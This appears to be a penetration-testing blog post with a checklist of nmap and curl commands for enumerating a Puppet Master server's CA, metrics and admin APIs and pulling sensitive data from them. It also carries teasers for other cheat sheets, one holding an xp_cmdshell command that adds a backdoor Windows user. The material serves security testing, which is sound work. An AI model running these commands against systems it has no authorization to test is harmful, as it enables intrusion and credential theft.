Skip to main content

Puppet Master Server - Port 8140

By

 

Checklist 


  • Check the version Vulnerabilities (get version from API)
  • Refer to this Tenable Article
  • Check for Puppet Naive autosigning enabled --> should be disabled 
    • you can scan it by via "nmap  -p8140 --script  puppet-naivesigning -sV 10.10.10.10"
    • nmap -sSVC --privileged -vvv --reason -p 8140 --script puppet-naivesigning --script-args puppet-naivesigning.csr=/path/to/csr.pem,puppet-naivesigning.env=production,puppet-naivesigning.node=DomainnameOfAppServerControlledByPuppet 10.10.10.10
  • Look for unauthenticated API Access
  • If API is accessible, run all commands to get Sensitive info
  • Run this script Puppet_Pentest.py to Run most of the below commands at once.
#Check whether Puppet Server is running on a server or not
https://10.10.10.10:8140/status/v1/simple

#Puppet Service Information - Check Services info (Agents)
curl -k -X GET https://PUPPET-SERVER:8140/status/v1/services

#Retrieve information about services running on Puppet Server
https://10.10.10.10:8140/status/v1/services?level=debug

#V2 Version 
curl -k -X GET https://PUPPET-SERVER:8140/metrics/v2/version

#list features
curl -k -X GET https://PUPPET-SERVER:8443/features

# Authorization 
curl -Lks https://10.10.10.10:8140/puppet
curl -Lks https://10.10.10.10:8140/puppet-ca

#Metrics Example 
curl -kLs https://10.10.10.10:8140/metrics/v2/read/java.util.logging:type=Logging/LoggerNames 

#list the available options
curl -Lks https://10.10.10.10/metrics/v2/list

curl -Lks https://10.10.10.10:8140/metrics/v2/read/java.lang:name=*,type=GarbageCollector/CollectionCount,CollectionTime

curl -Lks https://10.10.10.10:8140/metrics/v2/read/<MBEAN NAMES>/<ATTRIBUTES>/<OPTIONAL INNER PATH FILTER>

Puppet V1 Certificate Request

Get more info from here

#Get CSR of a known Node
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_request/puppet

#Requests a TLS client certificate signing (CSR) from the Puppet CA service
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_request/:nodename?environment=:environment

#Retrieve all CSR's
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_requests/ignored

#Certificate Revocation List
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_revocation_list/ca

Puppet Admin API 

#Retrieve a Ruby thread dump for each JRuby instance registered to the pool
https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/environment-cache
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

#Retrieve a specific version of a file at a given environment and path
https://10.10.10.10:8140//puppet/v3/static_file_content/modules/example/files/data.txt?code_id=urn:puppet:code-id:1:67eb71417fbd736a619c8b5f9bfc0056ea8c53ca;production&environment=production'


V1 Metrics

#V1 API  --> displays crazy lot of info along with ssh keys and system info
#search for specific functions using regex "(.*):type=*"
curl -vkLs https://10.10.10.10:8140/metrics/v1/mbeans -o output.html

#list based on the required key 
curl -kLs https://10.10.1.0:8140/metrics/v1/mbeans/java.lang:type=Memory


curl -X POST \
   -H "Content-Type: application/json" \
   -d '["puppetlabs.puppetdb.storage:name=replace-facts-time", "puppetlabs.puppetdb.storage:name=replace-catalog-time"]' \
   http://10.10.10.10:8080/metrics/v1/mbeans

keys: 
java.lang:type=MemoryPool
java.lang:type=MemoryManager
java.lang:type=Memory
java.lang:type=GarbageCollector
java.lang:type=ClassLoading
java.lang:type=Compilation
type=internalsslcontextfactory
JMImplementation:type=MBeanServerDelegate
java.nio:type=BufferPool
jolokia:type=Config
jolokia:type=Discovery
jolokia:type=ServerHandler
V3 API 

curl -Lks https://10.10.10.10:8140/puppet/v3/catalog/

When you got the cert, key and cacert from the server, run below 

curl -si --cert  --key  --cacert  -X GET https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

for more into check this




Labels:

Comments

Post a Comment

Popular posts from this blog

POC Links for CVE's

By
  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main
Post a Comment
Read more

SQL DB & SQL Injection Pentest Cheat Sheet

By
1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds...
Post a Comment
Read more

Cloud Pentest Cheatsheet - Azure

By
Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.   Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure...
Post a Comment
Read more